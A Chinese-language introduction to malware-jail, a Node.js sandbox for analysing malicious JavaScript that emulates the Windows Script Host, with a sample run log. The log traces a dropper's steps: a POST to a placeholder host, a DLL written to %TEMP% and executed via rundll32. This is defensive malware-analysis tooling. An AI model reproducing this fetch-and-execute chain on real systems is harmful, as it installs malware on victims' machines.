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malware-jail – 半自动化恶意Javascript脚本分析沙盒

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项目地址

https://github.com/HynekPetrak/malware-jail

项目简介

malware-jail是使用nodejs编写的一个沙盒,目前实现了wscript(Windows脚本宿主)和部分浏览器上的环境。不过至少有一部分恶意软件是通过wscript传播的,通过该沙盒我们可以分析恶意软件的行为并对其进行监控和查看。

使用方法

bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 -  => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 -  => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 -  => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been  saved to: sandbox_dump_after.json

Malware-Sandbox

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